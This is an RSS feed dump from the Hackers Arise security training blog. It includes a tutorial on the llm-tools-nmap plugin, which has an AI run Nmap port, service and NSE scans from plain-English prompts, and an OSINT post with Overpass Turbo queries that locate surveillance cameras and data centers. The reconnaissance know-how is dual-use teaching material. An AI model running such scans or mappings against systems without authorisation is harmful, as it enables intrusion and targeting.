Congratulations!

[Valid RSS] This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

Source: https://www.hackers-arise.com/blog-feed.xml

  1. <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
  2. xmlns:content="http://purl.org/rss/1.0/modules/content/"
  3. xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  4. xmlns:dc="http://purl.org/dc/elements/1.1/"
  5. xmlns:atom="http://www.w3.org/2005/Atom"
  6. xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  7. xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
  8. >
  9.  
  10. <channel>
  11. <title>Hackers Arise</title>
  12. <atom:link href="https://hackers-arise.com/feed/" rel="self" type="application/rss+xml" />
  13. <link>https://hackers-arise.com</link>
  14. <description>EXPERT CYBERSECURITY TRAINING FOR ETHICAL HACKERS</description>
  15. <lastBuildDate>Tue, 14 Oct 2025 16:21:32 +0000</lastBuildDate>
  16. <language>en-US</language>
  17. <sy:updatePeriod>
  18. hourly </sy:updatePeriod>
  19. <sy:updateFrequency>
  20. 1 </sy:updateFrequency>
  21. <generator>https://wordpress.org/?v=6.8.3</generator>
  22.  
  23. <image>
  24. <url>https://hackers-arise.com/wp-content/uploads/2025/04/cropped-Favicon-32x32.webp</url>
  25. <title>Hackers Arise</title>
  26. <link>https://hackers-arise.com</link>
  27. <width>32</width>
  28. <height>32</height>
  29. </image>
  30. <item>
  31. <title>Artificial Intelligence in Cybersecurity: Using AI for Port Scanning</title>
  32. <link>https://hackers-arise.com/artificial-intelligence-in-cybersecurity-using-ai-for-port-scanning/</link>
  33. <dc:creator><![CDATA[aircorridor]]></dc:creator>
  34. <pubDate>Tue, 14 Oct 2025 16:21:30 +0000</pubDate>
  35. <category><![CDATA[OSINT & Reconnaissance]]></category>
  36. <guid isPermaLink="false">https://hackers-arise.com/?p=18734</guid>
  37.  
  38. <description><![CDATA[<p>Welcome back, aspiring cyberwarriors! Nmap has been the gold standard of network scanning for decades, and over this time, it has obtained hundreds of command-line options and NSE scripts. It&#8217;s great from one side, you can tailor the command for your needs, but on the other side, it requires expertise. What if you could simply [&#8230;]</p>
  39. <p>The post <a href="https://hackers-arise.com/artificial-intelligence-in-cybersecurity-using-ai-for-port-scanning/">Artificial Intelligence in Cybersecurity: Using AI for Port Scanning</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  40. <content:encoded><![CDATA[<p>Welcome back, aspiring cyberwarriors!</p>
  41.  
  42.  
  43.  
  44. <p>Nmap has been the gold standard of network scanning for decades, and over this time, it has obtained hundreds of command-line options and NSE scripts. It&#8217;s great from one side, you can tailor the command for your needs, but on the other side, it requires expertise. What if you could simply tell an AI in plain English what you want to discover, and have it automatically select the right Nmap commands, parse the results, and identify security issues?</p>
  45.  
  46.  
  47.  
  48. <p>That&#8217;s exactly what the LLM-Tools-Nmap utility does. Basically, it bridges the gap between Large Language Models (LLMs) and Nmap.</p>
  49.  
  50.  
  51.  
  52. <p>Let&#8217;s explore how to use this tool and which features it has.</p>
  53.  
  54.  
  55.  
  56. <h2 class="wp-block-heading">Step #1: Let&#8217;s Take a Closer Look at What LLM-Tools-Nmap Is</h2>
  57.  
  58.  
  59.  
  60. <p>LLM-Tools-Nmap is a plugin for Simon Willison&#8217;s llm command-line tool that provides Nmap network scanning capabilities through AI function calling. The llm CLI tool is used for interacting with OpenAI, Gemini, and dozens of other LLMs. LLM-Tools-Nmap enables LLMs to &#8220;intelligently&#8221; control Nmap, selecting appropriate scan types, options, and NSE scripts based on natural language instructions.</p>
  61.  
  62.  
  63.  
  64. <p>The key innovation here is tool use or function calling &#8211; the ability for an LLM to not just generate text, but to execute actual commands and interpret their results. The AI becomes an intelligent wrapper around Nmap, translating your intent into proper scanning commands.</p>
  65.  
  66.  
  67.  
  68. <h2 class="wp-block-heading">Step #2: Installing LLM-Tools-Nmap</h2>
  69.  
  70.  
  71.  
  72. <p>Kali Linux 2025.3 release already has this tool in its repository. But if you&#8217;re using an older version, consider installing it manually from GitHub.</p>
  73.  
  74.  
  75.  
  76. <p><code>kali> git clone https://github.com/peter-hackertarget/llm-tools-nmap.git</code></p>
  77.  
  78.  
  79.  
  80. <figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="872" height="233" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_clone_repo.webp" alt="" class="wp-image-18735" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_clone_repo.webp 872w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_clone_repo-300x80.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_clone_repo-768x205.webp 768w" sizes="(max-width: 872px) 100vw, 872px" /></figure>
  81.  
  82.  
  83.  
  84. <p><code>kali> llm-tools-nmap</code></p>
  85.  
  86.  
  87.  
  88. <p>Next, we need to install a core–llm CLI tool. It can be done via pip. I&#8217;m going to do so via pipx for an isolated environment.</p>
  89.  
  90.  
  91.  
  92. <p><strong><code>kali> pipx install llm</code></strong></p>
  93.  
  94.  
  95.  
  96. <figure class="wp-block-image size-full"><img decoding="async" width="871" height="179" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_llm.webp" alt="" class="wp-image-18736" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_llm.webp 871w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_llm-300x62.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_llm-768x158.webp 768w" sizes="(max-width: 871px) 100vw, 871px" /></figure>
  97.  
  98.  
  99.  
  100. <p>Verify the installation:</p>
  101.  
  102.  
  103.  
  104. <p><code>kali> llm –version</code></p>
  105.  
  106.  
  107.  
  108. <figure class="wp-block-image aligncenter size-full"><img decoding="async" width="422" height="170" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_check_llm_version.webp" alt="" class="wp-image-18737" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_check_llm_version.webp 422w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_check_llm_version-300x121.webp 300w" sizes="(max-width: 422px) 100vw, 422px" /></figure>
  109.  
  110.  
  111.  
  112. <h2 class="wp-block-heading">Step #3: Configure an LLM Model</h2>
  113.  
  114.  
  115.  
  116. <p>You must configure an LLM model before using the llm-tools-nmap. By default, the LLM tool tries to use OpenAI, which requires an API key. If you don&#8217;t want to pay for a paid OpenAI account, you can install local models via Ollama—just keep in mind that this requires appropriate hardware. Alternatively, you can use Google Gemini, which offers a free tier; that&#8217;s the option I&#8217;ll be using.</p>
  117.  
  118.  
  119.  
  120. <p>To use Gemini in llm-tools-nmap, you need to install the plugin:</p>
  121.  
  122.  
  123.  
  124. <p><code>kali> llm install llm-gemini</code></p>
  125.  
  126.  
  127.  
  128. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="849" height="266" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_gemini_plugin.webp" alt="" class="wp-image-18738" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_gemini_plugin.webp 849w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_gemini_plugin-300x94.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_install_gemini_plugin-768x241.webp 768w" sizes="(max-width: 849px) 100vw, 849px" /></figure>
  129.  
  130.  
  131.  
  132. <p>Next, we need to obtain an API key. That can be done on the following page: <a href="https://aistudio.google.com/apikey.">https://aistudio.google.com/apikey.</a></p>
  133.  
  134.  
  135.  
  136. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="247" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_api_key-1024x247.webp" alt="" class="wp-image-18739" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_api_key-1024x247.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_api_key-300x72.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_api_key-768x185.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_api_key-1536x370.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_api_key.webp 1868w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  137.  
  138.  
  139.  
  140. <p>Then set it:</p>
  141.  
  142.  
  143.  
  144. <p><code>kali> llm keys set gemini</code></p>
  145.  
  146.  
  147.  
  148. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="855" height="174" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_set_api.webp" alt="" class="wp-image-18740" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_set_api.webp 855w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_set_api-300x61.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_set_api-768x156.webp 768w" sizes="(max-width: 855px) 100vw, 855px" /></figure>
  149.  
  150.  
  151.  
  152. <p>Now, we can verify Gemini is available:</p>
  153.  
  154.  
  155.  
  156. <p><code>kali> llm models</code></p>
  157.  
  158.  
  159.  
  160. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="862" height="482" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_modules.webp" alt="" class="wp-image-18741" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_modules.webp 862w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_modules-300x168.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_gemini_modules-768x429.webp 768w" sizes="(max-width: 862px) 100vw, 862px" /></figure>
  161.  
  162.  
  163.  
  164. <p>You should see an output similar to the above. From the list, you can choose the model that sets it as the default one.</p>
  165.  
  166.  
  167.  
  168. <p><code>kali> llm models default gemini-x.x-xxxx</code></p>
  169.  
  170.  
  171.  
  172. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="849" height="155" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_default_model.webp" alt="" class="wp-image-18742" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_default_model.webp 849w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_default_model-300x55.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_default_model-768x140.webp 768w" sizes="(max-width: 849px) 100vw, 849px" /></figure>
  173.  
  174.  
  175.  
  176. <h2 class="wp-block-heading">Step #4: Understanding the Function-Calling Architecture</h2>
  177.  
  178.  
  179.  
  180. <p>A generalized diagram of how llm-tools-nmap works under the hood is shown below:</p>
  181.  
  182.  
  183.  
  184. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="234" height="1024" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_diagram-234x1024.webp" alt="" class="wp-image-18743"/></figure>
  185.  
  186.  
  187.  
  188. <p>The process begins when the user supplies a natural-language instruction. The AI then interprets the intent, deciding which Nmap functions are needed, and the plugin executes the appropriate Nmap commands on the target. Once Nmap finishes, its output is captured and sent back to the LLM, which analyzes the results and translates them into a clear, natural-language summary for the user.</p>
  189.  
  190.  
  191.  
  192. <p>The plugin provides eight core functions:</p>
  193.  
  194.  
  195.  
  196. <p><strong>get_local_network_info(): </strong>Discovers network interfaces and suggests scan ranges<br><strong>nmap_quick_scan(target): </strong>Fast scan of common ports<br><strong>nmap_port_scan(target, ports):</strong> Scan specific ports<br><strong>nmap_service_detection(target, ports):</strong> Service version detection<br><strong>nmap_os_detection(target):</strong> Operating system fingerprinting<br><strong>nmap_ping_scan(target):</strong> Host discovery<br><strong>nmap_script_scan(target, script, ports):</strong> Run NSE scripts<br><strong>nmap_scan(target, options):</strong> Generic Nmap with custom options</p>
  197.  
  198.  
  199.  
  200. <p>The AI automatically selects which functions to use based on your query.</p>
  201.  
  202.  
  203.  
  204. <h2 class="wp-block-heading">Step #5: Getting Started with Llm-tools-nmap</h2>
  205.  
  206.  
  207.  
  208. <p>Let&#8217;s find live hosts on the network:</p>
  209.  
  210.  
  211.  
  212. <p><code>kali> llm --functions llm-tools-nmap.py "Scan my local network to find live hosts"</code></p>
  213.  
  214.  
  215.  
  216. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="950" height="479" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_live_hosts.webp" alt="" class="wp-image-18744" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_live_hosts.webp 950w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_live_hosts-300x151.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_live_hosts-768x387.webp 768w" sizes="(max-width: 950px) 100vw, 950px" /></figure>
  217.  
  218.  
  219.  
  220. <p>Good. Now, let&#8217;s do a rapid recon of a target:</p>
  221.  
  222.  
  223.  
  224. <p><code>kali> llm --functions llm-tools-nmap.py "Do a quick port scan of &lt;IP>"</code></p>
  225.  
  226.  
  227.  
  228. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="941" height="323" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_quick_port_scan.webp" alt="" class="wp-image-18745" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_quick_port_scan.webp 941w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_quick_port_scan-300x103.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_quick_port_scan-768x264.webp 768w" sizes="(max-width: 941px) 100vw, 941px" /></figure>
  229.  
  230.  
  231.  
  232. <p>This executes a fast scan (-T4 -F) of common ports.</p>
  233.  
  234.  
  235.  
  236. <p>Next, let&#8217;s try to do a multistage recon:</p>
  237.  
  238.  
  239.  
  240. <p><strong><code>kali> llm --functions llm-tools-nmap.py "What services are running on &lt;IP>? Gather as much information as you can and identify any security issues or items of interest to a security analyst"</code></strong></p>
  241.  
  242.  
  243.  
  244. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="937" height="780" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan1.webp" alt="" class="wp-image-18746" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan1.webp 937w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan1-300x250.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan1-768x639.webp 768w" sizes="(max-width: 937px) 100vw, 937px" /></figure>
  245.  
  246.  
  247.  
  248. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="938" height="645" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan2.webp" alt="" class="wp-image-18747" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan2.webp 938w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan2-300x206.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan2-768x528.webp 768w" sizes="(max-width: 938px) 100vw, 938px" /></figure>
  249.  
  250.  
  251.  
  252. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="942" height="572" src="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan3.webp" alt="" class="wp-image-18748" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan3.webp 942w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan3-300x182.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/llm_nmap_full_scan3-768x466.webp 768w" sizes="(max-width: 942px) 100vw, 942px" /></figure>
  253.  
  254.  
  255.  
  256. <p>The AI will first carry out an initial port scan, then run service detection on any ports that are found open. After that, it executes the relevant NSE scripts and analyzes the resulting data for security implications. Finally, it presents a comprehensive report that highlights any identified vulnerabilities.</p>
  257.  
  258.  
  259.  
  260. <h2 class="wp-block-heading">Summary</h2>
  261.  
  262.  
  263.  
  264. <p>Someone who reads this article might start arguing that AI could replace pentesters. While this tool demonstrates how AI can simplify hacking and reconnaissance—allowing you to type a single English sentence and have Nmap begin scanning—it is far from a substitute for a skilled hacker. An experienced professional understands Nmap&#8217;s myriad flags and can think creatively to adapt scans to complex scenarios.</p><p>The post <a href="https://hackers-arise.com/artificial-intelligence-in-cybersecurity-using-ai-for-port-scanning/">Artificial Intelligence in Cybersecurity: Using AI for Port Scanning</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  265. </item>
  266. <item>
  267. <title>OSINT: Finding Surveillance Cameras with Overpass Turbo</title>
  268. <link>https://hackers-arise.com/osint-finding-surveillance-cameras-with-overpass-turbo/</link>
  269. <dc:creator><![CDATA[aircorridor]]></dc:creator>
  270. <pubDate>Mon, 13 Oct 2025 14:13:52 +0000</pubDate>
  271. <category><![CDATA[OSINT & Reconnaissance]]></category>
  272. <guid isPermaLink="false">https://hackers-arise.com/?p=18624</guid>
  273.  
  274. <description><![CDATA[<p>Welcome back, aspiring cyberwarriors! In the reconnaissance phase of any security engagement, information gathering is paramount. Previously, we discussed using Google Earth Pro for investigations. Today, let’s shift our focus from satellite OSINT to map‑based reconnaissance. Many of you are already familiar with Google Maps and its alternatives, such as OpenStreetMap (OSM). But did you know that you can [&#8230;]</p>
  275. <p>The post <a href="https://hackers-arise.com/osint-finding-surveillance-cameras-with-overpass-turbo/">OSINT: Finding Surveillance Cameras with Overpass Turbo</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  276. <content:encoded><![CDATA[<p>Welcome back, aspiring cyberwarriors!</p>
  277.  
  278.  
  279.  
  280. <p>In the reconnaissance phase of any security engagement, information gathering is paramount. Previously, we discussed using <a href="https://hackers-arise.com/open-source-intelligence-osint-using-google-earth-pro-satellite-imagery-for-investigations/" title="">Google Earth Pro</a> for investigations. Today, let’s shift our focus from satellite OSINT to map‑based reconnaissance. Many of you are already familiar with Google Maps and its alternatives, such as OpenStreetMap (OSM). But did you know that you can easily extract specific data from OSM, like surveillance cameras or Wi‑Fi hotspots, using a tool called <strong>Overpass Turbo</strong>?</p>
  281.  
  282.  
  283.  
  284. <p>Let’s explore how to leverage this powerful reconnaissance tool.</p>
  285.  
  286.  
  287.  
  288. <h2 class="wp-block-heading"><strong>Step #1: Understanding Overpass Turbo Basics</strong></h2>
  289.  
  290.  
  291.  
  292. <p><br>Overpass Turbo is accessible at<a href=" https://overpass-turbo.eu"> https://overpass-turbo.eu</a> and requires no installation or registration. It provides a web-based interface for querying the Overpass API, which is OpenStreetMap&#8217;s data extraction engine.</p>
  293.  
  294.  
  295.  
  296. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="502" src="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_main_page-1024x502.webp" alt="" class="wp-image-18625" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_main_page-1024x502.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_main_page-300x147.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_main_page-768x376.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_main_page-1536x752.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_main_page.webp 1880w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  297.  
  298.  
  299.  
  300. <p>The interface consists of three main components:</p>
  301.  
  302.  
  303.  
  304. <p><strong>Query Editor (left side):</strong> Where you write your queries using the Overpass Query Language (QL)</p>
  305.  
  306.  
  307.  
  308. <p><strong>Interactive Map (right side): </strong>Displays your query results geographically</p>
  309.  
  310.  
  311.  
  312. <p><strong>Toolbar (top):</strong> Contains the Run button, Wizard, Export options, and settings</p>
  313.  
  314.  
  315.  
  316. <p>When you first access Overpass Turbo, you&#8217;ll see a default query loaded in the editor. The map displays the current viewport, which you can pan and zoom to focus on your area of interest.</p>
  317.  
  318.  
  319.  
  320. <h3 class="wp-block-heading"><strong>The Query Wizard</strong></h3>
  321.  
  322.  
  323.  
  324. <p>For beginners, the Wizard tool (accessible from the toolbar) provides a simplified interface. You can enter search terms in plain English, and the Wizard converts them into proper Overpass QL syntax. For example:</p>
  325.  
  326.  
  327.  
  328. <p>Type: <em>amenity=atm in London</em></p>
  329.  
  330.  
  331.  
  332. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="888" height="543" src="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard.webp" alt="" class="wp-image-18626" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard.webp 888w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard-300x183.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard-768x470.webp 768w" sizes="(max-width: 888px) 100vw, 888px" /></figure>
  333.  
  334.  
  335.  
  336. <p>Click &#8220;build and run query&#8221;.</p>
  337.  
  338.  
  339.  
  340. <p>The Wizard generates the appropriate query syntax and executes it automatically.</p>
  341.  
  342.  
  343.  
  344. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="501" src="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard_results-1024x501.webp" alt="" class="wp-image-18627" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard_results-1024x501.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard_results-300x147.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard_results-768x376.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard_results-1536x752.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wizard_results.webp 1879w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  345.  
  346.  
  347.  
  348. <p>As a result, we can see a map of ATMs in London.</p>
  349.  
  350.  
  351.  
  352. <h2 class="wp-block-heading"><strong>Step #2: Writing Overpass Queries</strong></h2>
  353.  
  354.  
  355.  
  356. <p>Overpass Query Language follows a specific structure. Let&#8217;s break down the anatomy of our query built by a wizard:</p>
  357.  
  358.  
  359.  
  360. <div class="wp-block-group is-layout-constrained wp-block-group-is-layout-constrained">
  361. <pre class="wp-block-code"><code>&#91;out:json]&#91;timeout:25];
  362.  
  363. // fetch area “London” to search in
  364.  
  365. {{geocodeArea:London}}->.searchArea;
  366.  
  367. // gather results
  368.  
  369. nwr&#91;"amenity"="atm"](area.searchArea);
  370.  
  371. // print results
  372.  
  373. out geom;</code></pre>
  374.  
  375.  
  376.  
  377. <p>It already includes comments, but for better understanding, let’s dive a bit deeper.</p>
  378.  
  379.  
  380.  
  381. <p><code><strong>[out:json][timeout:25]</strong></code><strong> –</strong> Sets the output format to JSON and limits the server-side execution time to 25 seconds.</p>
  382.  
  383.  
  384.  
  385. <p><code><strong>{{geocodeArea:London}}→.searchArea;</strong></code><strong> –</strong> A macro that resolves the administrative boundary of London (its OSM relation). The result is stored in a temporary set named <code>.searchArea</code> for later reference.</p>
  386.  
  387.  
  388.  
  389. <p><code><strong>nwr["amenity"="atm"](area.searchArea);</strong></code><strong> –</strong> <code>nwr</code> stands for nodes, ways, and relations.</p>
  390.  
  391.  
  392.  
  393. <p>OpenStreetMap has three element types:<br>• <strong>Node</strong>: Single-point locations (e.g., cameras, WiFi access points)<br>• <strong>Way</strong>: Lines and closed shapes (e.g., roads, building outlines)<br>• <strong>Relation</strong>: Groups of nodes and ways (e.g., building complexes, campuses)</p>
  394.  
  395.  
  396.  
  397. <p>The <strong>filter </strong><code><strong>["amenity"="atm"]</strong></code> selects all OSM elements tagged as ATMs. <code>(area.searchArea)</code> restricts the search to the previously defined London area.</p>
  398.  
  399.  
  400.  
  401. <p><code><strong>out geom;</strong></code><strong> –</strong> Outputs the matching elements, including their full geometry (<code>geom</code>)—points with latitude/longitude, ways with their node lists, and relations with their member geometries.</p>
  402. </div>
  403.  
  404.  
  405.  
  406. <h3 class="wp-block-heading">Tag Filters</h3>
  407.  
  408.  
  409.  
  410. <p>The core of your reconnaissance queries are the tag filters. Tags in OSM follow a key=value structure.</p>
  411.  
  412.  
  413.  
  414. <p><strong><code>node["key"="value"]</code></strong></p>
  415.  
  416.  
  417.  
  418. <p>By opening the page at <a href="https://wiki.openstreetmap.org/wiki/Map_features">https://wiki.openstreetmap.org/wiki/Map_features</a></p>
  419.  
  420.  
  421.  
  422. <p>you can view a comprehensive list of possible keys and values. From a hacker’s perspective, you can examine the&nbsp;<code>man_made</code>&nbsp;key to discover surveillance‑related options.</p>
  423.  
  424.  
  425.  
  426. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="316" src="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wiki-1024x316.webp" alt="" class="wp-image-18628" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wiki-1024x316.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wiki-300x93.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wiki-768x237.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wiki-1536x475.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_wiki.webp 1673w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  427.  
  428.  
  429.  
  430. <p>Now, let’s edit out query and try to find out surveillance cameras in California.</p>
  431.  
  432.  
  433.  
  434. <pre class="wp-block-code"><code>&#91;out:json]&#91;timeout:25];
  435.  
  436. {{geocodeArea:California}}->.searchArea;
  437.  
  438. nwr&#91;"surveillance"="camera"](area.searchArea);
  439.  
  440. out geom;</code></pre>
  441.  
  442.  
  443.  
  444. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="443" src="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_cameras-1024x443.webp" alt="" class="wp-image-18629" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_cameras-1024x443.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_cameras-300x130.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_cameras-768x332.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_cameras-1536x664.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_cameras.webp 1872w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  445.  
  446.  
  447.  
  448. <p>Now, let’s try to find data centers in Moscow.</p>
  449.  
  450.  
  451.  
  452. <pre class="wp-block-code"><code>&#91;out:json]&#91;timeout:25];
  453.  
  454. {{geocodeArea:Moscow}}->.searchArea;
  455.  
  456. nwr&#91;"building"="data_center"](area.searchArea);
  457.  
  458. out geom;</code></pre>
  459.  
  460.  
  461.  
  462. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="421" src="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_data_centers-1024x421.webp" alt="" class="wp-image-18630" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/overpass_data_centers-1024x421.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_data_centers-300x123.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_data_centers-768x316.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_data_centers-1536x631.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/overpass_data_centers.webp 1871w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  463.  
  464.  
  465.  
  466. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  467.  
  468.  
  469.  
  470. <p>By querying and visualizing crowdsourced data from OpenStreetMap, investigators can significantly boost their productivity. Overpass Turbo is especially useful for tasks such as tracking urban development, examining the surveillance landscape, and many other applications. In each use case, users can precisely tailor their queries to extract specific data points from the vast repository of geographic information available on OpenStreetMap.</p>
  471.  
  472.  
  473.  
  474. <p>If you’d like to advance in OSINT, consider checking out our <a href="https://hackersarise.thinkific.com/courses/osint-training" title="">OSINT training class</a>.</p>
  475.  
  476.  
  477.  
  478. <p></p><p>The post <a href="https://hackers-arise.com/osint-finding-surveillance-cameras-with-overpass-turbo/">OSINT: Finding Surveillance Cameras with Overpass Turbo</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  479. </item>
  480. <item>
  481. <title>Digital Forensics: Investigating a Ransomware Attack</title>
  482. <link>https://hackers-arise.com/digital-forensics-investigating-a-ransomware-attack/</link>
  483. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  484. <pubDate>Thu, 09 Oct 2025 13:46:32 +0000</pubDate>
  485. <category><![CDATA[Digital Forensics]]></category>
  486. <category><![CDATA[artifact preservation]]></category>
  487. <category><![CDATA[chain-of-custody]]></category>
  488. <category><![CDATA[command-line forensics]]></category>
  489. <category><![CDATA[forensic tools]]></category>
  490. <category><![CDATA[handles]]></category>
  491. <category><![CDATA[in-memory extraction]]></category>
  492. <category><![CDATA[incident-response]]></category>
  493. <category><![CDATA[IOCs]]></category>
  494. <category><![CDATA[malfind]]></category>
  495. <category><![CDATA[malware hashing]]></category>
  496. <category><![CDATA[Memory Forensics]]></category>
  497. <category><![CDATA[netscan]]></category>
  498. <category><![CDATA[process forensics]]></category>
  499. <category><![CDATA[process-tree]]></category>
  500. <category><![CDATA[RAM analysis]]></category>
  501. <category><![CDATA[Ransomware]]></category>
  502. <category><![CDATA[sandboxing]]></category>
  503. <category><![CDATA[volatile-data]]></category>
  504. <category><![CDATA[Volatility3]]></category>
